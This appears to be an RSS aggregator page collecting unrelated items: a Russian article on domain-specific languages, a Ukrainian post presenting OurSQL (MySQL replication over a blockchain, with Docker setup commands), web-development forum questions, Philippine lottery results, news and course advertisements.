Зачем тогда разные языки нужны, почему бы не пользоваться одним? В знаменитом романе Семюэля Дилэни «Вавилон 17» описан человек с выключенной частью мозга. Вместо этого он обучен искусственному языку, близкому по синтаксису к записям математических выражений. Он замечательно подходит для быстрого решения логических задач, компактен и удобен, но ограничен. Например, отсутствовали слова «я» и «ты». Поэтому парадоксы, такие как «Севильский цирюльник», мозг ограниченный «Вавилоном 17», сожжет или заставит обратиться к отключенной части. То есть языковые конструкции во многом определяют способ мышления.

Рассмотрим язык математики более подробно. Вот, например, описание доказательства теорем методом математической индукции:

Расшифровывается это так. Допустим, что:

  1. Установлено, что P1 верно. (Это утверждение называется базой индукции)
  2. Для любого n доказано, что если верно Pn, то верно Pn+1. (Это утверждение называется индукционным переходом)

Тогда все утверждения нашей последовательности верны. Обратите внимание: вместо нескольких строк текста имеем лишь одну строку со строгим определением, понятным любому математику.

Что же такое DSL

Domain Specific Language, или язык предметной области, — это язык, созданный для конкретной области применения. Построение его, или структуры данных, отражают специфику решаемых им задач © Википедия.

То есть, если человек знает свою работу, учить DSL не надо — достаточно взглянуть один раз, и всё понятно (см. пример с математикой). Также хороший DSL не требует больших знаний в теории и практике программирования. Во многих, например, нет циклов. В некоторых — условных операторов (типа «if»). Часто язык является не полным по Тьюрингу, то есть написать любую программу с его помощью нельзя. Опять же, вспомним язык математики или кванторов. Он используется лишь для описания теорем или для их автоматического доказательства. Писать web-сервисы с его помощью было бы затруднительно.

Примеры использования DSL

DSL используются очень по-разному. Рассмотрим несколько из них и постараемся понять, в каком же случае следует их использовать.

Резак лазера

Положим, вы — инженер кораблестроитель и хотите вырезать большущую деталь для корпуса судна. Раньше это делалось так: на плотном картоне или фанере вычерчивали детальки, вырезали, прикладывали к листу стали, и люди, которых называли кернильщиками, ползали по листу и набивали по контуру выкройки впадинки. Дальше газорезчик шёл по контуру и вырезал. Представляете, что будет, если резчик с утра перебрал? А можно сделать это автоматически, чтобы робот считывал чертёж и сам ехал по листу, вырезая нужную деталь? Да, можно! Однако проблема в том, что траекторию его передвижения нужно как-то задать. Мол, поедь туда, опусти резак и дальше двигайся эдаким манером. Для этого нам нужны следующие команды:

  1. Двигаться из точки А в точку Б с выключенным резаком (помним, что прямая — кратчайшие расстояние между двумя точками).
  2. Двигаться с включенным резаком уже по заданной кривой (частный случай кривой — прямая). Для простоты ограничимся, собственно, отрезком прямой линии и участком окружности с заданным радиусом и центром. Поскольку положение резака задано предыдущими движениями, указать нужно лишь точку остановки. Для отрезка прямой — это конец отрезка. Для участка окружности — угол поворота и центр окружности.

Таким образом, в наиболее простом случае нам нужны только три команды:

MoveTo(x, y)
LineTo(x,y)
AngleTo(centerX,centerY, angle) 

Как видите, язык очень простой, но с его помощью можно вырезать деталь любой сложности. Для программирования с его помощью достаточно навыков на уровне уверенного использования ПК. Добавив к этому языку переменные, условные операторы, циклы и процедуры, получим очень мощное средство. Как бонус — исследование кода методом белого ящика. К примеру, можно проверить, не вылезает ли наш резак за пределы листа металла.

Алгоритмический трейдинг

Трейдер редко ошибается дважды — обычно раза три или больше
© Из грустного опыта продавшего квартиру

Каждый хочет купить дешевле и продать дороже — вроде бы понятно. Но как определить правильное время для сделки, если завтра цена может вырасти или упасть? Решение принимается с помощью фундаментального (новости, анализ экономических и политических событий) и технического (экстраполяция стоимости ресурса на основании предыдущих данных). Признаки, по которым судят о поведении цены, теоретически не доказаны и не точны. То есть какая то связь с реальностью усматривается, но обычно берут несколько признаков и принимают решение о закрытии или открытии сделки, когда сигнал о покупке либо продаже подают все используемые индикаторы.

Кривая цены меняется очень быстро. Данные, полученные 15 минут назад, как правило, интересны только для историков. Деньги на бирже крутятся большие, так что потерять несколько сот миллионов долларов за минуту можно запросто. Поэтому человеческий фактор хорошо бы свести к минимуму. Но как это сделать, если общей теории поведения цены не существует и стратегии торговли трейдер выбирает их с помощью интуиции? Один из способов уберечься от ошибки — создать специальный язык с минимумом «шума». Оставить в языке только необходимое, безжалостно избавясь от возможностей, которые нам не нужны. Что же нужно для трейдинга?

  1. Понятно, что цена снега в Антарктиде и на экваторе, мягко говоря, отличается. То есть необходимо указать биржу, цены на которой мы исследуем.
  2. Нужно указать стратегию, с помощью которой мы будем торговать (их есть много разных).
  3. Для стратегии нужно указать параметры, специфические для каждой, и временной интервал, в течение которого происходит работа.
  4. Стратегии запускаются на серверах, каждый из которых работает с заданной биржей. Нужно задать время, в течение которого они работают, поскольку доступ к бирже бывает и платным.

Давайте посмотрим, как будет выглядеть эта стратегия на языке Java. Допустим, мы хотим получить сигналы о покупке/продаже валют на серверах трех бирж с помощью стратегий: «фибоначчи», «скользящее среднее», «преобразование Гильберта». Для простоты будем считать, что время измеряется в тиках, название биржи, на которой работает сервер, задается просто строкой, и торгуем мы валютами — меняем доллары, евро или ещё что-нибудь на украинскую гривню и обратно.

На первый взгляд, код выглядит хорошо, но, если приглядеться, в нём полно ошибок.

Во первых, время работы стратегий меньше, чем время, в течение которого работает сервер. Во вторых, мы запускаем только один сервер, вместо трёх. Так что с этим кодом материальные потери не заставят себя долго ждать.

С другой стороны, трейдинг — это постоянный стресс и гонка. Работать нужно действительно быстро, но без ошибок. Как же быть?

Давайте посмотрим, как мог бы выглядеть текст программы, представленной выше, записанный на действительно удобном языке.

Сверху маркер начала программы, дальше идёт список серверов. У каждого сервера один раз задается название биржи, с которой происходит работа, и время его работы. Дальше идёт список стратегий, каждая с специфическими параметрами.

Преимущества предложенного примера очевидны. Во первых, текст стал лаконичным: сервера указываются ровно один раз. Стратегии — в непосредственной близости от сервера, на котором запускаются. Во вторых, мы избавляемся от ненужных подробностей. Трейдеру вовсе и не нужно знать, что такое Thread или что итоговая программа будет написана на языке Java.

Разработка игровой логики

Ошибка: робот погибает при попадании в него гранаты (именно от попадания, а не от взрыва). Д — дизайнер, П — программист.
Д: программисты всё сломали! почему так получается?!
П: естественно, так получается! потому, что у гранаты масса 100 кг! зачем вы это сделали?
Д: да?! а чтобы граната в воде тонула!
П: а почему она с нормальной массой не тонет?
Д: а потому что у воды плотность большая! (прим.: больше, чем у ртути)
П: а почему плотность такая большая?!
Д: а чтобы ящики деревянные плавали!
П: а почему они иначе не плавают?!
Д: а потому что у них масса 50 кг!
П: а зачем такая масса?!
Д: а иначе они некрасиво разваливаются!

Допустим, вы — геймдизайнер, и вам нужно создать сценарий для поведения робота. В начале стрелять, когда кончатся патроны — бежать. Программисты это, конечно, без проблем сделают. Но в определённый момент нужно изменить поведение — сделать так, чтобы робот в начале бежал и только когда догоняют — стрелял. А ещё — прятался за холмик или делал забавный финт ушами. Программист, конечно, снова сделает, но потратит время. При последующих переделках придётся опять его тревожить, и так без конца.

Более того, игры сейчас выходят на множестве разных платформ. Выпустили под Windows, и надо выходить на Vii, на планшетах, на smart TV и так далее. Каждый релиз приводит к переписыванию кода, который уже работает и оттестирован, хотя логика действий персонажей не меняется при переходе от устройству к устройству. Можно, конечно, использовать кроссплатформенные средства. Такие как Unity, или Haxe, но, как правило, проблема в том, что кроссплатформа работает одинаково плохо на всех устройствах. То есть хотелось бы сделать так, чтобы разрабатывать заново нужно было только специфические для конкретной платформы вещи, оставив логику без изменений.

Можно ещё использовать для логики скриптовые языки, однако даже они слишком сложны для того, чтобы использовать их без изучения. Там много подробностей, нужных для программиста, но лишних для конструкций: «Если произошло это — сделай то».

Что же делать, учить дизайнера программированию? Но это две довольно разные и в каком-то смысле противоположные специальности. Хотелось бы сделать так, чтобы дизайнер достаточно простым способом без помощи программиста мог поменять поведение персонажей.

Конечный автомат

Представим игровую логику в виде состояний персонажа и переходов между ними. К примеру, у робота может быть три состояния: «бежать к игроку», «стрелять» и «искать патроны», когда они кончились. Действия происходят при входе в состояние, выходе из него, переходе от одного состояния в другое и когда состояние между через определенный метод времени не изменилось. Можно описать состояния и переходы с помощью JSON, или XML и потом воспользоваться шаблоном проектирования «машина состояний», как это описано в банде четырёх. XML для описания представлен ниже:

<state name="run_to_enemy">
	<before methods="do_something_before"/>
	<after methods="say_hi"/>	
	<in_process methods="say_hug"/>
	<transitions>
	<transition name="shoot" methods="run">
		<condition function="near_the_enemy && have_bullets"/>
	</transition>
	</transitions>
</state>

<state name="shoot">
	<before methods="do_something_before_shoot"/>
	<after methods="say_hia"/>	
	<in_process methods="say_bum"/>
	<transitions>
	<transition name="run_to_bullets" methods="hi">
		<condition function="no_bullets"/>
	</transition>
	</transitions>
</state>

<state name="run_to_bullets">
	<before methods=""/>
	<after methods=""/>	
	<in_process methods="run"/>
	<transitions>
	<transition name="run_to_enemy" methods="eat_bullets">
		<condition function="near_the_bullets"/>
	</transition>
	</transitions>
</state>

Но XML очень не удобен для программирования. Покажем, как это описать с помощью DSL-языка.

Как видите, описание стало гораздо более лаконичным и удобочитаемым. Появилась подсветка синтаксиса. Скажу вам по секрету, автокомплит и подсветка ошибок тоже есть.

Таким образом, можно отделять игровую логику от платформозависимых вещей: графики, ввода-вывода, управления и даже от того, как методы «стрелять», «бежать» и «кричать» реализованы на практике. Последнее является частным случаем декларативного программирования: вместо того, чтобы реализовывать детальный алгоритм, мы описываем конечный результат. Вместо того, чтобы говорить компьютеру как делать, мы говорим что.

Выводы

Все рассмотренные DSL:

  1. Небольшие и не требуют изучения. Это справедливо и в общем: язык предметной области с большим порогом входа — плохой.
  2. Позволяют оперировать терминами предметной области, без деталей программной реализации. Говорят ЧТО делать, а не КАК.
  3. Избавляют специалиста от необходимости получать высокую квалификацию в программировании.

DSL применяется, когда необходимо записать достаточно сложную логику и избавить специалиста в определённом домене от необходимости изучать программирование, а программиста — разбираться в предмете. Обратно, если для реализации задачи не нужно обладать квалификацией помимо собственно программирования, DSL вам не нужен.

Вторая статья будет посвящена графическим языкам программирования, последующие — способам реализовать DSL и применениям их в разных, иногда неожиданных областях.


          DOU Проектор: OurSQL – реплікація баз даних MySQL із використанням Blockchain      Cache   Translate Page      

У рубриці DOU Проектор всі охочі можуть презентувати свій продукт (як стартап, так і ламповий pet-проект). Якщо вам є про що розповісти — запрошуємо взяти участь. Якщо ні — можливо, серія надихне на створення власного made in Ukraine продукту. Питання і заявки на участь надсилайте на editors@dou.ua.

Я — Роман Гелемб’юк з Івано-Франківська. Уже більше 17 років займаюся програмуванням. Основні технології — PHP та Golang. Як порядний IT-шник я маю свої pet-проекти. Наразі мене цікавлять децентралізовані бази даних та блокчейн-технології.

Хочу розповісти про свій проект OurSQL. Це, свого роду, розширення MySQL, яке дозволяє створити децентралізовану базу даних без вузлів із «особливими» правами.

Ідея

Спочатку була ідея створити децентралізовану платформу для громадянського суспільства. Щось типу соціальної мережі, але децентралізовану, без «адміна», «власника» і модераторів, із можливостями вести конструктивний діалог, водночас.

Першою прийшла ідея використати блокчейн як базу, але весь механізм виглядав занадто складним. Потім ідея еволюціонувала в більш вузьку — створити універсальну платформу для децентралізованих баз даних. А тоді вже на цій базі можна буде робити все інше, концентруючись лише на бізнес-логіці самої соціальної мережі.

Огляд готових рішень для децентралізованих ДБ не дав результатів, фактично є лише BighainDB (на базі MongoDB). Насправді ж вона не виконує обіцяного, хоч і є розрекламованою та популярною. Слід відзначити проект Hyperledger.org, який у той час видався мені занадто складним для використання. Напевно, для корпорацій він буде найкращим вибором, але не для малих компаній чи одинаків.

Процес розробки

Задача була створити інструмент для реплікації баз SQL-даних повністю децентралізованим способом, без будь-яких master вузлів.

Вибір технології був простим. Поки що єдиним рішенням, яке довело свою ефективність для таких задач, є Blockchain. Тому я почав вивчати цю технологію на прикладі створення криптовалюти. Для розробки я вибрав Golang. Основна причина — я давно хотів отримати реальний досвід на цій мові програмування із великим проектом.

У результаті написав спрощений клон bitcoin на Golang із нуля. Він робочий, хоча підтримувати я його не планую.

Далі на базі коду democoin був створений OurSQL — проксі-сервер MySQL, який фільтрує SQL-запити, перевіряє можливість виконання, конвертує SQL у блокчейн-транзакції, будує блоки (для блокчейну), відправляє блоки та транзакції іншим нодам (іншим серверам OurSQL в межах однієї бази даних) і ті, в свою чергу, роблять відповідні оновлення у своїх локальних копіях MySQL-баз.

Назва OurSQL народилася сама собою. MySQL — для моєї бази даних, а OurSQL — для нашої бази даних. У процесі довелося вивчити протокол MySQL клієнта, детально розібратися у всіх нюансах шифрування та електронних підписів у різних мовах програмування та бібліотеках та інше.

OurSQL = MySQL + Blockchain: як це працює

OurSQL — це окремий сервер, який має два основні компоненти: MySQL проксі-сервер та власне Blockchain-сервер.

Кожен екземпляр OurSQL («нода») працює із єдиною базою MySQL. У цій базі одночасно зберігаються дані разом зі спеціальними таблицями, у яких збережено інформацію про сам блокчейн. SQL-запити надходять через проксі-сервер і далі аналізуються. Якщо це Update запит, відбувається перевірка можливості виконання такого запиту. Ця перевірка відбудеться згідно з правилами консенсусу, які діють у цій базі даних.

Якщо запит може бути виконаний, він виконається, і на основі цього запиту буде побудована транзакція. Далі все відбувається так само, як і в інших блокчейнах.

Нова транзакція додається до «пулу» транзакцій — тимчасового місця зберігання ще не підтверджених транзакцій. Також ця транзакція буде відправлена до всіх інших відомих нодів. Ті, у свою чергу, перевірять її ще раз і виконають. Коли в пулі набереться достатня кількість транзакцій, буде побудовано блок із допомогою правила Proof of Work (так само, як у біткоін). Нода, яка першою побудує блок, надсилає його всім іншим нодам.

Із допомогою OurSQL можна створити базу даних. Проте сама по собі база даних не є дуже корисною. Як і випадку зі звичайними базами даних, потрібен «інтерфейс». Тобто якись додаток, що буде виконувати основну роботу і зберігати потрібні дані в децентралізованій базі даних.

Сам по собі цей додаток може бути створений із будь-якою технологією, яка вміє зберігати дані в MySQL. Це може бути desktop application чи web application, запущений на локальному сервері.

При написанні коду додатка можна зосередитися виключно на бізнес-логіці, не думаючи про особливості синхронізації змін у базі даних. Просто підключаємося до бази через проксі через стандартну MySQL client бібліотеку, яка є в кожній мові програмування, і вносимо необхідні зміни в базу, коли потрібно. Звичайно, зміни мають відповідати логіці децентралізованої мережі та відповідати правилам консенсусу.

Кожен користувач децентралізованої системи повинен отримати свою копію додатка в «пакеті». Цей пакет включає: MySQL-сервер, OurSQL-сервер, конфігураційний файл із описом правил консенсусу і, власне, сам додаток.

Проте можливим є і створення «легких клієнтів». Тобто додатків, які не містять у собі повноцінної ноди, а працюють із одною із доступних віддалених нод. У цьому випадку доведеться з’єднуватися із віддаленою базою даних. Або робити додатковий «шар» у вигляді REST API.

При цьому виконання будь-яких змін вимагає двох кроків — запит за даними для транзакції, підпис (криптопідпис) даних ключами та виконання ще одного запиту із уже підписаною командою.

Криптовалюта

Кожна база даних створена із OurSQL отримує свою криптовалюту як «побічний ефект». За створення блоку відповідна нода отримує винагороду. Певну кількість одиниць криптовалюти. Потім цю валюту можна переслати на інші «гаманці» (чи адреси, чи публічні ключі). Кожна нода отримує гаманець при створенні, однак можна додавати необмежену кількість інших гаманців. У плані «криптовалюти» все працює, як у bitcoin.

Використання криптовалюти не є обов’язковим. Ці дані можна просто ігнорувати (у майбутньому зроблю можливість відключити взагалі). Проте внутрішня криптовалюта має певні корисні застосування. Наприклад, є можливість вказати «ціну змін» для конкретних типів SQL-запитів та конкретних таблиць. Це один із інструментів контролю над цілісністю бази даних. Оскільки ми говоримо про базу даних, яка може бути доступна для запису анонімним користувачам, завжди є спокуса все витерти або щось лишнє дописати. Один із способів контролю — плата за транзакцію із використанням внутрішньої валюти.

Як OurSQL зв’язаний із bitcoin та ethereum

Ніяк, за винятком використання такої самої технології «блокчейн». Але із конкретними відомими публічними блокчейнами OurSQL ніяк не пов’язаний.

Кожна база даних створена і підтримувана із OurSQL — це повністю окремий, новий блокчейн, що володіє власною криптовалютою, яка працює лише в межах цієї бази даних. Також вона не має відношення до «смарт-контрактів», хоча кожну базу даних та додаток, який її використовує можна розглядати як один великий «смарт-контракт» — єдиний на цьому блокчейні.

Де використовувати OurSQL

OurSQL може підійти для створення практично будь-якого децентралізованого додатка. Тобто якщо немає можливості створити традиційний цетралізований додаток, наприклад, через нестачу довіри до потенційного «адміністратора» цього додатка, є сенс подумати над децентралізованою системою.

Приклади:

  • Децентралізована соціальна мережа, оскільки ми не довіряємо Facebook.
  • Нове покоління фінансових інструментів, які, крім криптовалюти, мають свій внутрішній «суд», «регулятор» та інші «інститути» криптодемократії, адже ми хочемо незалежну світову валюту. Однак перший досвід не дуже успішний, потрібна регуляція та спосіб вирішення конфліктів.
  • Децентралізовані платформи для меритократії.
  • Децентралізовані месенджери (в яких платформа потрібна лише для пошуку контактів, а сама комунікація вже напряму), оскільки традиційні месенджери контролюються спецслужбами.
  • Платформи для «горизонтальних» об’єднань громадян, адже створення традиційних партій чи об’єднань вимагає довіри, а її часто немає.

Blockchain consensus

Алгоритм консенсусу є центральним поняттям в технології blockchain. Наразі OurSQL підтримує лише найпопулярніший і найнадійніший підхід — Proof of Work, аналогічний bitcoin та більшості популярних криптовалют. Кожна база даних має спеціальний файл — ConsensusConfig, у якому описано параметри для Proof of Work: складність пошуку хешу блока, кількість транзакцій у блоці, винагорода «майнеру» в монетах внутрішньої криптовалюти та ін.

Також налаштування консенсусу включають правила змін в базі даних — список таблиць, які не синхронізуються, заборона оновлень певних типів для певних таблиць (наприклад: заборона видаляти рядки із певної таблиці).

Водночас це можливість встановити «вартість» певних операцій у внутрішній валюті, що уможливлює запобігання «несанкціонованого» коригування даних та різного роду флуду даними і т. д.

Також у майбутньому я планую створити підтримку «модуля консенсусу» для кожної бази даних. Відтак розробник бази даних зможе описати максимально гнучкі правила консенсусу використовуючи програмування, а не лише конфігурування певного алгоритму.

Як спробувати OurSQL

Інсталяційного пакету поки що немає. Є 2 способи спробувати, як працює цей сервіс: скомпілювати програму або запустити в Docker-контейнері.

Використовуючи Docker-контейнери, ви можете легко запустити 2 ноди на одній машині та подивитися, як синхронізуються дані.

docker run --name oursql1 -p 9001:8765 -p 9002:8766  -d -it oursql/oursql-server interactiveautocreate -port 9001

Ця команда запустить новий контейнер, у якому створиться нова база даних. Наступна команда створить інший контейнер із додатковою нодою, яка приєднається до першої, утворивши кластер із двох нод.

docker run --name oursql2 -p 9003:8765 -p 9004:8766  -d -it oursql/oursql-server importfromandstart -port 9003 -nodeaddress host.local.address:9001

Використайте MySQL-клієнт, щоб приєднатися до першої ноди на порті 9002 або до другої на порті 9004. База даних має назву BC та користувача blockchain/blockchain. Вносьте зміни в базу даних, використовуючи SQL, і ви побачите, як зміни реплікуються між нодами.

mysql -h 127.0.0.1 -P 9002 -u blockchain -pblockchain BC

mysql -h 127.0.0.1 -P 9004 -u blockchain -pblockchain BC

Також можна підключитися до існуючої демонстраційної бази даних «OurSQL Demo DB».

docker run --name oursql -p 8765:8765 -p 8766:8766 -d -it oursql/oursql-server importandstart -port 8765 -nodeaddress 109.251.62.4:8765
mysql -h 127.0.0.1 -P 8766 -u blockchain -pblockchain BC

Деталі про роботу із цією базою можна знайти в блозі проекту.

Подальші кроки

Перше — додати можливість створення модуля консенсусу для децентралізованої бази. Наразі можна робити лише конфігураційний файл, у якому описано прості правила для Proof of Work консенсусу та правила для роботи із таблицями в базі.

Проте такий підхід має суттєві недоліки. Потрібна можливість запрограмувати правила, зробити їх більш гнучкими.

Тобто для кожної конкретної децентралізованої бази даних, підтримуваної на OurSQL, можна буде запрограмувати модуль (швидше за все на мові Golang), у якому буде реалізовано логіку роботи і можливих змін у цій базі, рівнів та прав доступу для кожного користувача.

Друге — створити декілька додатків, які використовують OurSQL, щоб продемонструвати можливості її роботи, певну найпростішу децентралізовану, соціальну мережу або систему прийняття рішень голосуванням. Реєстрація в такій системі буде здійснюватися за запрошеннями від кількох інших учасників.


Веб-сайт проекту. Нещодавно почав вести блог, щоб розповідати про результати роботи та давати поради.

Контакти: roman@gelembjuk.com, oursql.project@gmail.com.


                Cache   Translate Page      
Christmas is a time for giving, and nobody seems to be taking this to heart more than Subaru this Christmas season, you can get up to a PHP 250,000 discount on select vehicles in their stable. We recently got to drive the Forester 2.0 XT, and until we get the review out, allow us to
          hreflang how to implement?      Cache   Translate Page      
Hi My new Wordpress website is for US users. In search console >search traffic> International Targeting I get a message "Your site has no hreflang tags" searching google I added it to my header.php like this: CODE: SELECT ALL
          Tags listed in RSS Feed under - by: burnyourears      Cache   Translate Page      
Hi,

I want to display my Artcle Tags in the RSS-Feed of my site. Unfortunately the system is embedding it it in a "k2FeedTags"-class within the the "description"-Tag, so it can not be recognized as a regular tag. Here an example, please feel free to check it live on www.burnyourears.de/feed >

<description><![CDATA[<div class="K2FeedTags"><ul><li>ARTICLETAG</li><ul></div>[/b]]]></description>

All I want to do is to get rid of the whole class-thing and have it like a stand-alone-category-tag:

<category>ARTICLETAG </category>

Has anybody an idea what to change in components/com_k2/models/item.php ?

All the best,
Chris
          Browsing for image in extra fields modal empty. - by: Gorast      Cache   Translate Page      
I'm trying to upload image to extra fields but the popup is empty. I checked the permissions and they are correct. PHP version is fine. Joomla is with its latest update. Disabled extra addons and still no luck. Happens on all browsers.



This is the Console log:

TypeError: e.fancybox.getInstance is not a function[Learn More] jquery.fancybox.min.js:12:21687
JQMIGRATE: Migrate is installed, version 1.4.1 jquery-migrate.min.js:2:542
TypeError: n.fancybox.getInstance is not a function[Learn More] jquery.fancybox.min.js:13:1027
JQMIGRATE: Migrate is installed, version 1.4.1 jquery-migrate.min.js:2:542
SyntaxError: expected expression, got '<'[Learn More] elfinder.min.js:2
TypeError: $(...).elfinder is not a function[Learn More] index.php:71:19


Did someone else had this problem and know how to fix it?

Tnx!
          Read full job description - WonderPoint - Read, WV      Cache   Translate Page      
Hands on experience with jQuery, XML, JavaScript, HTML &amp; CSS. Developing and maintaining highly scalable systems using PHP Phalcon, Angular JS, HTML5, CSS3 and...
From WonderPoint - Sat, 08 Sep 2018 05:11:33 GMT - View all Read, WV jobs
          Realme C1 Flash Sale on Lazada Today at 12PM      Cache   Translate Page      

People are literally waiting for this (on their cart or pressing the Buy Now button), and if my hunch is right, they already have set their alarms for Realme's flagship phone the new REALME C1. Currently, it is available in two colors, the shiny Blue and Mirror Black. What is amazing about this phone though is not just the price point, but the specs.

It can last you the whole day with its 4230mAh battery, watch videos strong and play games with the 6.2 inch Large Notch Full Screen Display, Qualcomm Snapdragon 450 Octacore Processor so you can use apps with ease, Dual Rear Camera for those lovely travel shots you wanted to have, Color OS 5.1 via Android 8.1 and super tight Facial Unlock so you get heightened security all the time.


The Realme C1 will be sold exclusively on Lazada today December 5 12pm for only Php 5,490 or if you prefer to buy it now or days after, you can get this for the full price of Php 5,990 which is already a good deal.

Now if you are wondering why it's called the Entry Level King, you must order today so you can get it for that special price. You don't even have to think about it at that price point, it is affordable as it can get.


KUMAGCOW
Fresh Blogs Fast!


          Update von 1.5.5 nach 1.5.9      Cache   Translate Page      

Kann die gemacht wie beschrieben, oder muss es von 1.5.5 , 1.5.6 etc etc.

Weiter wird in 1.5.9 - PHP 7.2 schon unterstützt denn es gibt noch Fehlermeldungen bei 1.5.5 mit PHP 7.2.

MfG
Jan


          EZ2 LOTTO PCSO DECEMBER 05, 2018      Cache   Translate Page      
PCSO Two Digit EZ2 Lotto Luzon Vismin Morning 11am: 22-02 Afternoon 4pm: 18-09 Evening 9pm: 20-26 numbers must be in exact order Php 4,000.00 per P10 play Draws Date: 12/05/2018
          ULTRALOTTO 6/58 DECEMBER 04, 2018      Cache   Translate Page      
PCSO Ultra Lotto 6/58 Draw 07-01-25-13-11-38 Jackpot Prize: Php 49,500,000.00 no winner numbers in any particular order Evening Draw Date: 12/02/2018 UltraLotto consolation prizes are: up to P280,000 for 5 winning numbers
          SUPERLOTTO 6/49 DECEMBER 04, 2018      Cache   Translate Page      
PCSO Super Lotto 6/49 Nationwide 27-19-45-24-41-29 Jackpot Prize: Php 15,840,000.00 no winner numbers in any particular order Evening Draw Date: 12/04/2018 SuperLotto consolation prizes are: up to P70,000 for 5 winning numbers, up to P2000 for 4 and P20 for 3.
          DOE Partners with PUP for Institutional Capacity Building      Cache   Translate Page      

Wazzup Pilipinas!

Department of Energy Secretary Alfonso G. Cusi, Undersecretary Raul B. Aguilos, Mr. Pascualito Beltran Gatan, Vice President for Branches and Campuses along with Dr. Junithesmer D. Rosales, Dean of the PUP Graduate School were present for the signing the Memorandum of Agreement (MOA) for the conduct of MPA for DOE employees on Monday, 3 December 2018.

Department of Energy (DOE) Secretary Alfonso G. Cusi signed a Memorandum of Agreement (MOA) with the Polytechnic University of the Philippines (PUP) on Monday (3 December) at the DOE Multi-Purpose Building.

Under the MOA, PUP will conduct post-graduate classes for qualified DOE employees for its Master’s degree in Public Administration (MPA). DOE in turn, will transfer PhP 4,199,958 to PUP to cover tuition fees, miscellaneous fees and honorarium of professors and lecturers.

Secretary Cusi said, “It is our intent to further enhance the future leaders of the Department. On the technical aspect of capacity building, we are continuously updating our knowledge through local and foreign trainings, especially for modern technologies. Through this MOA, we aim to nurture a primed workforce that is adept in the administrative aspect of our day-to-day operations. This would ease our processes within the Department, ensuring that we will be able to serve the public more efficiently and at a higher standard.”

There are 42 DOE employees who qualified for the post-graduate degree program after a stringent selection process.

“We wanted to make sure that the best employees within the Department were given this privilege, especially those with aspirations in a long-term career in public service.” Secretary Cusi added.

The MPA degree program will run from CY 2018 to 2020 and the qualified participants will be required to maintain a General Weighted Average (GWA) not lower than 2.0 as part of the standards set in the MOA.

          Program Therapist - Adolescent IOP/PHP -Registry - Riveredge Hospital - Forest Park, IL      Cache   Translate Page      
Under the direction of the Director of Residential and Outpatient Services, the Registry Program Therapist provides for the delivery and documentation of age ...
From Universal Health Services - Wed, 14 Nov 2018 14:48:07 GMT - View all Forest Park, IL jobs
          The Complete Javascript & jQuery Programming Bundle for $26      Cache   Translate Page      
Expires April 03, 2019 23:59 PST
Buy now and get 98% off

Learn JavaScript In 1 Hour


KEY FEATURES

Whether you're interested in creating responsive websites or mobile applications, you'll benefit from adding JavaScript to your coding repertoire. This course takes you through the essentials in just one hour! Covering the basics of JavaScript and programming, you'll dive into variables, statements, functions and more. Make your way through the entire course, and you'll be ready to throw your hat into the development ring.

  • Access 2 sections of content 24/7
  • Master the fundamentals of JavaScript programming
  • Explore adding variables, user input, and buttons
  • Learn about functions, statements & more programming concepts

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: beginner

Requirements

  • Internet required

THE EXPERT

Instructor

John Bura has been programming games since 1997 and teaching since 2002. John is the owner of the game development studio Mammoth Interactive. This company produces XBOX 360, iPhone, iPad, Android, HTML 5, ad-games and more. Mammoth Interactive recently sold a game to Nickelodeon! John has been contracted by many different companies to provide game design, audio, programming, level design and project management. To this day, John has 40 commercial games that he has contributed to. Several of the games he has produced has risen to the top 10 in the Apple's app store. In his spare time, John likes to play ultimate Frisbee, cycle and work out.

Learn jQuery In 1 Hour


KEY FEATURES

jQuery is a JavaScript library that lets you do more with less JavaScript code. As such, it's a wonderfully efficient tool to have in your programming toolbox. Designed with the beginner in mind, this course takes you through the jQuery essentials in just one hour. You'll start with an introduction to what jQuery is. Then, you'll explore what you can create with it and more advanced concepts.

  • Access 5 sections of content 24/7
  • Master the jQuery essentials in one hour
  • Understand the jQuery syntax & animations
  • Learn how to add classes to HTML tags

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: beginner

Requirements

  • Internet required

THE EXPERT

Instructor

John Bura has been programming games since 1997 and teaching since 2002. John is the owner of the game development studio Mammoth Interactive. This company produces XBOX 360, iPhone, iPad, Android, HTML 5, ad-games and more. Mammoth Interactive recently sold a game to Nickelodeon! John has been contracted by many different companies to provide game design, audio, programming, level design and project management. To this day, John has 40 commercial games that he has contributed to. Several of the games he has produced has risen to the top 10 in the Apple's app store. In his spare time, John likes to play ultimate Frisbee, cycle and work out.

Quick Front-End Website Creation: HTML, CSS, JavaScript & jQuery


KEY FEATURES

Creating websites is easier than you think, and this comprehensive course is all you need to get started. Covering HTML, CSS, JavaScript and jQuery, this training will set you up with a solid foundation for building your own websites. From creating your first HTML page to streamlining your coding with jQuery, you'll foster a range of new programming skills that will put you on track to becoming a bona fide web developer.

  • Access 5 sections of content 24/7
  • Learn how to build sites w/ HTML, CSS, JavaScript & jQuery
  • Familiarize yourself w/ CSS styling
  • Explore faster, smarter coding w/ jQuery

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: beginner

Requirements

  • Internet required

THE EXPERT

Instructor

SkillSuccess is the hub to learn any skill on your own time, at your own pace. Take your learning anywhere you go on any device including your computer, tv, tablet or mobile phone. Their support team is at your service with a click of a button. Emails answered quickly and live chat standing by.

Dynamic JavaScript Master Class: AJAX & JSON


KEY FEATURES

In order to create professional, dynamic websites, you'll need to make sure data is synchronized between your database and your front-end code. To this end, AJAX and JSON are two tools you can't pass up. This master class will get you up to speed with their essentials. From updating a page without reloading it to seamlessly transmitting data, you'll learn how to combine these tools together to develop better user experiences and expand what your website can do.

  • Access 5 sections of content 24/7
  • Explore creating responsive websites w/ AJAX & JSON
  • Learn how JavaScript objects work & using them w/ JSON
  • Discover how to create AJAX calls, update MySQL data from JavaScript & more

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: intermediate

Requirements

  • Internet required
  • Basic HTML and CSS
  • Basic JavaScript and understanding of the DOM
  • Basic PHP and MySQL understanding
  • Solid foundation in coding

THE EXPERT

Instructor

